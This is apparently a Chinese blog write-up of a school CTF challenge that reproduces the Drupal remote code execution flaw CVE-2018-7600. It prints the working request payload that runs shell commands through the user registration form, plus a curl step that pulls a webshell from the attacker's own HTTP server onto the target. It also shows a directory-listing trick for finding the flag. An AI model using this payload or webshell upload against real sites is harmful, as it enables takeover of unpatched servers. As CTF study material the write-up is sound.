无聊翻起了以前的CSDN博客,发现之前做校赛题遇到的CVE-2018-7600挺有意思的,也是从那次校赛后就不怎么打CTF了,最近要重新变成赛棍,把文章贴上,记录一下。
前几天做题遇到drupal cms的时候始终没想到如何拿下这个站点,后来经过百度以及表哥给的wp知道还有CVE-2018-7600这个漏洞
这篇文章主要记录下该漏洞的复现过程
靶场如上,我看到这个网站当时是懵逼的,我以为会出dz,dede,thinkphp那些常见网站模版,没想一下跳出个drupal。这时候的心情是懵逼的,果然无知限制了我的想象。
然后
我扫目录无果
找注入无果
爆路径无果
....于是放弃了
然后第二天看了wp才发现原来那么简单
网上就有现成的exp(我传到了资源了)
payload:
1 | payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'} |
模拟登陆框:
echo ";-)" | tee hello.txt
的意思是:输入;-)到hello.txt
tee的意思是存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。
同理这里可以输入一句话到hello.txt中
这里我们传一句话的时候会被过滤,所以我们只能以curl形式上传
全都成功上传了,但是菜刀链接不上
这里需要注意的是exp用python3写的,在python2.7无法执行,换到kali即刻成功执行
通过python开端口
1 | python -m SimpleHTTPServer 8000 |
curl上传:'curl http://192.168.211.131/dama1.php | tee haha1.php'
(这里我上传的dama2输入密码无法解析,有时候大马在本地也搭建成功但不一定有效,多尝试)
另一种方法拿flag是
'../../../../../etc/ | tee 2.txt'
可以看到网站目录有啥 即可拿到flag
复现到此结束,欢迎大家加我学习
参考:
漏洞分析 Drupal远程代码执行漏洞(CVE-2018-7600)分析